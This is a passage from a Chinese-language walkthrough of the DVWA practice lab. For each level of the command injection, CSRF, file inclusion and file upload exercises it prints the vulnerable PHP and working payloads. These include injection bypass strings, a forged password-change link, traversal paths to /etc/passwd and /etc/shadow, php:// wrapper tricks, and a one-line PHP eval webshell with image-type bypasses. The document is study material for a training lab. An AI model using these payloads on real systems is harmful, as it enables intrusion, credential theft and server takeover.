    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Level - Impossible

嘗試 使用 Level - Low 和 Level - Medium 的方式進行暴力破解,查看結果;通過結果可以知道暴力破解已經無法實現。

原因如下:

- 通過代碼分析,可以知道增加了賬戶鎖定機制,防止爆破
  • 代碼分析

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Dvwa - Command Injection

Command Injection,即命令注入,是指通過提交惡意構造的參數破壞命令語句結構,從而達到執行惡意命令的目的。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一,國內著名的Web應用程序Discuz!、DedeCMS等都曾經存在過該類型漏洞。

DVWA命令注入就是讓輸入一個IP地址,然後去ping這個IP地址

Level - Low

服務器通過判斷操作系統執行不同ping命令,但是對ip參數並未做任何的過濾,導致了嚴重的命令注入漏洞。

# 1. Command Injection(命令注入)步驟
- 正常ping(127.0.0.1) 

- 使用 && 或 & 連接命令
形式一: && Usage:第一條命令 && 第二條命令 [&& 第三條命令…]
形式二:& Usage:第一條命令 && 第二條命令 [&& 第三條命令…]
當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
如: 127.0.0.1 && ip addr && ....

- && 和 & 的區別
(1). Command 1&&Command 2: 先執行Command 1,執行成功後執行Command 2,否則不執行Command 2
(2). Command 1&Command 2: 先執行Command 1,不管是否成功,都會執行Command 2

- 判斷操作系統(Linux 或者 Windows,這裏主要和搭建的dvwa系統環境有關 若搭建在linux則爲linux命令)
(1). ip addr: Linux查詢網絡命令
(2). net user: Windows查詢賬戶命令
注: 只要是能區分Linux 和 Windows命令都行;

- 創建賬戶等後門信息 充分利用一切可以使用的命令進一步滲透

wechat_20210515061931.png

  • 代碼分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Level - Medium

  • 代碼分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

結論:

- 相比Low級別的代碼,服務器端對ip參數做了一定過濾,即把”&&” 、”;”刪除,本質上採用的是黑名單機制,因此依舊存在安全問題。

- 因爲被過濾的只有”&&”與” ;”,所以”&”不會受影響。

- 由於使用的是str_replace把”&&” 、”;”替換爲空字符,因此可以採用以下方式繞過:
127.0.0.1&;&ip addr  ==> 127.0.0.1&&ip addr

wechat_20210515062620.png

Level - High

  • 代碼分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

結論:

- 相比Medium級別的代碼,High級別的代碼進一步完善了黑名單,但由於黑名單機制的侷限性,我們依然可以繞過。

- 黑名單看似過濾了所有的非法字符,但仔細觀察到是把”| ”(注意這裏|後有一個空格)替換爲空字符,於是 ”|”成了“漏網之魚”。如127.0.0.1|ip addr

wechat_20210515063035.png

Level - Impossible

同理,使用Level Low 和 Level Medium 和 Level High對Level Impossible進行同樣的嘗試,查看結果。

  • 代碼分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

結論:

- 在不可能的關卡中,挑戰被重寫,只允許非常嚴格的輸入。如果不匹配且沒有產生特定的結果,則不允許執行它。與其使用“黑名單”過濾(允許任何輸入並刪除不需要的輸入),不如使用“白名單”(只允許某些值)。

Dvwa - CSRF

CSRF,全稱Cross-site request forgery,翻譯過來就是跨站請求僞造,是指利用受害者尚未失效的身份認證信息(cookie、會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作(如轉賬、改密等)。

# 1. CSRF 攻擊過程描述
- 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A;
- 在用戶信息通過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
- 用戶未退出網站A之前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
- 網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問第三方站點A;
- 瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行。 

# 2. CSRF 漏洞利用思路
- 攻擊者通過用戶的瀏覽器注入額外的網絡請求,破壞一個網絡會話的完整性。由於瀏覽器的安全策略是允許當前頁面發送到任何地址的請求,因此也就意味着當用戶在瀏覽器自己無法控制的資源時,攻擊者可以控制頁面的內容來控制瀏覽器發送進行構造的請求。
(1). 利用瀏覽器的網絡連接
(2). 利用瀏覽器的狀態
(3). 改變瀏覽器的狀態

# 3. CSRF 防禦策略
- 驗證 HTTP Referer 字段
- 在請求地址中添加 token 並驗證
- 在 HTTP 頭中自定義屬性並驗證

Level - Low

  • 使用Burp Suite 攔截

通過Burp Suite攔截,發現沒有token;輸入密碼的時候輸入不一致。

wechat_20210515154630.png

  • 構造惡意鏈接

將/csrf/後的內容複製構造惡意連接;如password_new=a&password_conf=b&Change=Change。

拼接URL:http://192.168.188.128:8081/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change

通過訪問以上URL即可實現修改密碼,只要誘騙用戶點擊這個惡意鏈接,就會將在不知情的情況下將密碼改爲aaa。

  • 代碼分析
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - Medium

  • 使用Burp Suite 攔截

通過Burp Suite攔截,發現沒有token;輸入密碼的時候輸入不一致。

  • 構造惡意鏈接

將/csrf/後的內容複製構造惡意連接;如password_new=a&password_conf=b&Change=Change。

拼接URL:http://192.168.188.128:8081/vulnerabilities/csrf/?password_new=bbb&password_conf=bbb&Change=Change

訪問URL,出現以下結果。它會報錯,提示你Http Referer字段沒有定義索引。說明直接訪問不能夠修改成功

wechat_20210531065012.png

wechat_20210531065254.png

  • 代碼分析

<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

結論:

# Middle類型的代碼在Low級別的基礎上,加上了對用戶請求頭的中的Referer字段進行驗證
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

# 即用戶的請求頭中的Referer字段必須包含了服務器的名字。

Level - High

簡單利用 CSRF

- High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器都會返回一個隨機的token,當瀏覽器向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,纔會處理客戶端的請求。這裏因爲對請求的token進行了驗證,所以比上兩個等級的更加的安全。

- 簡單利用CSRF 可以直接將Level 從High 修改爲 Low 即可

# 修改密碼爲123 直接訪問即可
- http://192.168.188.128:8081/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

wechat_20210531082422.png

複合利用 CSRF

結合XSS 與 CSRF 一起使用 構造一個網址誘導 受害者 點擊

Level - Impossible

  • 代碼分析

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );
    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();
    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}
// Generate Anti-CSRF token
generateSessionToken();

結論:

Impossible級別的代碼利用PDO技術防禦SQL注入,至於防護CSRF,則要求用戶輸入原始密碼(簡單粗暴),攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊。

Dvwa - File

Dvwa - File Inclusion

- File Inclusion,意思是文件包含(漏洞),是指當服務器開啓alLow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的alLow_url_fopen選項(選項開啓之後,服務器允許包含一個遠程的文件)。

- 文件包含漏洞分類
(1). 本地包含
(2). 遠程文件包含(可配置上傳漏洞一起使用)

- PHP中文件包含函數有以下四種:
(1). require()
(2). require_once()
(3). include()
(4). include_once()

- 文件包含漏洞危害
(1). 敏感信息泄露
(2). 獲取Webshell
(3). 任意命令執行

- 文件包含漏洞防護
(1). PHP中使用open_basedir配置,將訪問限制在指定區域。
(2). 過濾.、\、/等敏感字符。
(3). 禁止服務器遠程文件包含。

- 環境配置
從PHP5.2開始allow_url_include就默認爲Off了,而allow_url_fopen一直是On的。
遠程文件包含,需要配置allow_url_include,allow_url_fopen爲on。
打開php的配置文件,搜索allow_url_include,把off換成on,然後重啓

20200219132828719.png

Level - Low

  • 代碼分析
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

漏洞產生原因:

本地文件包含指的是可以執行windows或者linux下的敏感文件,這些文件一般不是PHP,執行這些文件可以直接顯示出文件中的內容。

在代碼中可以看到並沒有對page參數做任何的過濾和防護,在用戶對url進行傳參時不管page=?都會被服務器當成php來執行,所以造成任意文件讀取和任意命令執行。

  • 替換文件

將file1.php 換成 命令即可。Linux 和 Winodws 的信息路徑不一樣。可參考以下執行命令執行

wechat_20210515182859.png

- Windows 系統(關於windows文件信息都可以獲取)

C:\Windows\System32\drivers\etc\hosts
../../phpinfo.php (php探針)

...

- Linux 系統(關於linux文件信息都可以獲取)

/etc/hosts

/etc/profile

/etc/passwd // 賬戶信息

/etc/shadow // 賬戶密碼文件

../../phpinfo.php (php探針)

...

wechat_20210515195613.png

# 常用路徑
網站根目錄下的robots文件:   ../../robots.txt
PHP探針信息:   ../../phpinfo.php

Level- Medium

  • 代碼分析
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

結論:

可以看到,代碼使用 str_replace函數 對http:// 和 https://進行了過濾,防止了遠程包含漏洞的產生,也過濾了 ../ 和 ..\ 防止了進行目錄切換的包含。

但是使用 str_replace 函數進行過濾是很不安全的,因爲可以使用雙寫繞過。例如,我們包含 hthttp://tp://xx 時,str_replace 函數只會過濾一個 http://  ,所以最終還是會包含到 http://xx 

若想使用Level - Medium 漏洞,需要結合File Upload(文件上傳漏洞)一起配合使用。若想繼續瞭解,可自行百度

Level - High

過濾措施造成遠程文件包含無法進行,但仍存在本地文件包含的風險

若想使用Level - High 漏洞,需要結合File Upload(文件上傳漏洞)一起配合使用。若想繼續瞭解,可自行百度

Level - Impossible

嘗試使用 Level - Low 和 Level - Medium 和 Level - High方法嘗試 或者 將文件包含和文件上傳漏洞結合使用。查看結果。

  • 常見的其他方法
常見的還有以下包含方法。
1、【?file=../../../../../etc/passwdd】
2、【?page=file:///etc/passwd】
3、【?home=main.cgi】
4、【?page=http://www.a.com/1.php】
5、【http://1.1.1.1/../../../../dir/file.txt】
6、【?page=file:///C:/123.txt】
編碼繞過字符過濾
1、【可以使用多種編碼方式進行繞過】把字符換成url編碼進行嘗試
2、【使用大小寫進行嘗試】
3、【%00嵌入任意位置】
    在php版本小於5.3.4的服務器中,當magic_quote_gpc選項爲off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00後的內容不會被識別,即下面兩個url是完全等效的。
    http://x.com/?page=../../../dvwa/php.ini.php
    http://x.com/?page=../../../dvwa/php.ini%002.php
4、【.的利用】點代表當前目錄,點點代表上一層目錄。
5、【對於a-zA-Z這樣的字符,瀏覽器在發送請求前會做解碼;而對於URL不支持的字符,比如%20,瀏覽器不做解碼的,%20解碼發生在服務器上(apache/nginx)】
常見的包含位置
(1)php://input然後post提交<?php system('pwd');?>顯示當前所在目錄。
(1)訪問敏感文件phpinfo。
(2)包含日誌文件,access.log(Apache日誌文件)。
白盒測試時,先檢查allow_url_fopen、allow_url_include等危險函數是否開啓。
(3)利用php僞協議讀源碼。【http://x.com/?page=php://filter/read=string.rot13/resource=include.php】

Dvwa - File Upload

參考文檔:https://blog.csdn.net/qq_36119192/article/details/82904642#High:

工具:一句話木馬(分爲過狗和不過狗)、中國菜刀

狗:加密狗

一句話:https://www.cnblogs.com/u0mo5/p/4901037.html

常用一句話:

文件上傳漏洞,指用戶上傳了一個可執行的腳本文件,並通過此腳本文件獲得了執行服務器端命令的能力。通常是由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限。

Level - Low

  • 編寫一句話木馬

保存爲 php 格式的文件 ,名字任意 這裏選擇ababab.php

<?php   @eval($_POST['xie']);  ?>
  • 上傳一句話木馬

上傳一句話後 獲取文件路徑,如:/hackable/uploads/ababab.php

wechat_20210602193317.png

  • 中國菜刀連接

IP + 一句話目錄路徑 ;如 :http://192.168.188.128:8081/hackable/uploads/ababab.php

後面的 xie 爲一句話中post 裏的參數 可任意修改 添加後 雙擊進入

wechat_20210602193509.png

wechat_20210602195133.png

Level - Medium

  • 編寫一句話木馬

保存爲不同名字的php文件 如,test2.php

<?php   @eval($_POST['xie']);  ?>
  • 上傳一句話

    • 直接上傳 產生錯誤 顯示只能上傳JPEG or PNG 格式的圖片

    wechat_20210602194409.png

    • Burp Suite攔截上傳

    修改 Http Header信息中的 Content-Type: application/octet-stream

    將 application/octet-stream 改爲 image/jepg

    點擊Forward 上傳成功!

wechat_20210602194904.png

wechat_20210602194051.png

  • 中國菜刀連接

wechat_20210602193509.png

wechat_20210602195133.png

Level - High

  • 一句話木馬(同上)

  • 上傳一句話

    • 直接上傳

    直接上傳 產生錯誤 顯示只能上傳JPEG or PNG 格式的圖片

    wechat_20210602194409.png

    • Burp Suite攔截上傳

    使用Burp Suite攔截上傳 產生錯誤 顯示只能上傳JPEG or PNG 格式的圖片

    wechat_20210602194409.png

    • 修改文件格式上傳

      • 方式一:修改php後綴名爲jpeg

      打開php一句話木馬,在一句話前添加 GIF89 字符串 即可。然後修改爲jpeg後綴名即可。

      php文件內容如下:

      GIF89

      wechat_20210602200042.png

      • 方式二:使用 copy命令 將一句話木馬文件xxx.php與圖片文件yyy.jpg合併(自行百度)
  • 中國菜刀連接

雖然將它上傳成功了,但是由於是jpg格式,它是無法作爲PHP執行的,菜刀連接獲取webshell的條件是一句話木馬能夠在服務器端執行。因此要利用需要結合文件包含漏洞來執行。可以利用DVWA的文件包含漏洞,讓我們的圖片格式的一句話木馬以php格式運行。

Level - Impossible

  • 代碼分析
<?php
 
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];    //文件在上傳者機器上的文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上傳文件的後綴名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];  //上傳文件的大小
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];  //上文文件的類型
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];  //文件上傳到服務器臨時文件夾後的文件名
 
    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
 
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );
 
        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
 
        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?> 

結論:

Impossible級別對上傳的文件進行了重命名(爲md5值,導致00截斷無法繞過過濾規則),並且加入Anti-CSRF token防護CSRF攻擊,同時對文件的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的文件。

Dvwa - Insecure CAPTCHA(待完成)

參考文檔:https://blog.csdn.net/qq_36119192/article/details/81431856

參考文檔:https://www.cnblogs.com/yingyingja/p/10949302.html

Level - Low

Level - Medium

Level - High

Level - Impossible

Dvwa - Weak Session IDs(待完成)

參考文檔:https://blog.csdn.net/weixin_40950781/article/details/99933784

# 1. 概述
- 當用戶登錄後,在服務器就會創建一個會話(session),叫做**會話控制**,接着訪問頁面的時候就不用登錄,只需要攜帶session去訪問。sessionID作爲特定用戶訪問站點所需要的唯一內容。如果能夠計算或輕易猜到該sessionID,則攻擊者將可以輕易獲取訪問權限,無需登錄直接進入特定用戶界面,進而進行其他操作。

- 用戶訪問服務器的時候,在服務器端會創建一個新的會話(Session),會話中會保存用戶的狀態和相關信息,用於標識用戶。服務器端維護所有在線用戶的Session,此時的認證,只需要知道是哪個用戶在瀏覽當前的頁面即可。爲了告訴服務器應該使用哪一個Session,瀏覽器需要把當前用戶持有的SessionID告知服務器。用戶拿到session id就會加密後保存到 cookies 上,之後只要cookies隨着http請求發送服務器,服務器就知道你是誰了。SessionID一旦在生命週期內被竊取,就等同於賬戶失竊。

# 2. Session | cookie | token | jwt
- session存儲於服務器,可以理解爲一個狀態列表,擁有一個唯一識別符號sessionId,通常存放於cookie中。服務器收到cookie後解析出sessionId,再去session列表中查找,才能找到相應session。依賴cookie
